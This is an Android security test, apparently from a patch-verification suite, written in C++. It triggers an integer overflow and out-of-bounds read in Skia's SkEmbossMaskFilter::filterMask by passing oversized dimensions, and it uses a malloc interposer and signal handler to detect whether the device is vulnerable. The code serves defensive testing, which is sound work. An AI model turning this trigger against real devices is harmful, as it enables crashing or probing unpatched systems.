• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /*
2  * Copyright (C) 2025 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 // Defining protected as public to create object of SkEmbossMaskFilter
18 #define protected public
19 
20 #include <sys/mman.h>
21 #include <unistd.h>
22 
23 #include "binary_loader.h"
24 #include "common.h"
25 #include "include/core/SkMatrix.h"
26 #include "memutils.h"
27 #include "src/effects/SkEmbossMaskFilter.h"
28 
29 typedef bool (*filterMask_func)(SkEmbossMaskFilter*, SkMaskBuilder*, const SkMaskBuilder&,
30                                 const SkMatrix&, SkIPoint*);
31 char* startPtr = nullptr;
32 struct sigaction new_action, old_action;
33 static void* (*real_malloc_func)(size_t) = nullptr;
34 
35 // Set width and height such that '3 * width * height' exceeds INT_MAX (32-bit)
36 int kWidth = 1000;
37 int kHeight = 1000000;
38 
sig_handler(int signum,siginfo_t * info,void * context)39 void sig_handler(int signum, siginfo_t* info, void* context) {
40     // Free the allocated buffer.
41     if (startPtr) {
42         ENABLE_MEM_ACCESS(startPtr, getpagesize());
43         free(startPtr);
44     }
45 
46     // Check if signal is coming from expected address.
47     if ((((uintptr_t)info->si_addr ^ (uintptr_t)startPtr) & (uintptr_t)info->si_addr) == 0) {
48         (*old_action.sa_sigaction)(signum, info, context);
49         startPtr = nullptr;
50         exit(EXIT_VULNERABLE);
51     }
52     startPtr = nullptr;
53 
54     // Assumption failure for unexpected signals.
55     exit(EXIT_FAILURE);
56 }
57 
malloc(size_t size)58 void* malloc(size_t size) {
59     real_malloc_func = (void* (*)(size_t))dlsym(RTLD_NEXT, "malloc");
60     FAIL_CHECK(real_malloc_func);
61 
62     // Return a guarded buffer
63     if (size == 3 * kWidth * kHeight) {
64         size_t page_size = getpagesize();
65         startPtr = (char*)memalign(page_size, page_size);
66         memset(startPtr, 0, page_size);
67         DISABLE_MEM_ACCESS(startPtr, page_size);
68         return startPtr;
69     }
70 
71     // Call actual malloc().
72     return real_malloc_func(size);
73 }
74 
main(int,char * argv[])75 int main(int /* argc */, char* argv[]) {
76     // Setup signal handler.
77     sigemptyset(&new_action.sa_mask);
78     sigaddset(&new_action.sa_mask, SIGSEGV); // Add SIGSEGV to the signal mask
79     sigaddset(&new_action.sa_mask, SIGBUS);  // Add SIGBUS to the signal mask
80     new_action.sa_flags = SA_SIGINFO;
81     new_action.sa_sigaction = sig_handler;
82     sigaction(SIGSEGV, &new_action, &old_action);
83     sigaction(SIGBUS, &new_action, &old_action);
84 
85     // Get the path to the shared library and offset from command-line arguments
86     const char* libPath = argv[1];
87     const uintptr_t functionOffset = strtoul(argv[2], nullptr, 0);
88 
89     // Get function address of 'filterMask()' from loaded library
90     BinaryLoader binaryLoader(libPath);
91     const uintptr_t functionAddress = binaryLoader.getFunctionAddress(functionOffset);
92     FAIL_CHECK(functionAddress);
93 
94     // Create function pointer to 'filterMask()'
95     filterMask_func filterMask_ptr = (filterMask_func)functionAddress;
96 
97     // Create object of SkEmbossMaskFilter.
98     SkEmbossMaskFilter::Light light;
99     SkEmbossMaskFilter s(1.0f, light);
100 
101     // Configure params with values such that '3 * width * height' exceed INT_MAX32 to cause
102     // integer overflow.
103     uint8_t* img = SkMaskBuilder::AllocImage(6 /* arbitrary value */);
104     const SkIRect& bounds = SkIRect::MakeWH(kWidth, kHeight);
105     uint32_t rowBytes = 0;
106     SkMask::Format format = SkMask::kA8_Format;
107     SkMaskBuilder dst(img, bounds, rowBytes, format), src(img, bounds, rowBytes, format);
108     SkMatrix matrix;
109     SkIPoint margin;
110 
111     // Call the vulnerable function. Without fix, OOB read occurs. With fix, the function
112     // returns false due to the check and no buffer is allocated.
113     filterMask_ptr(&s, &dst, src, matrix, &margin);
114 
115     return EXIT_SUCCESS;
116 }
117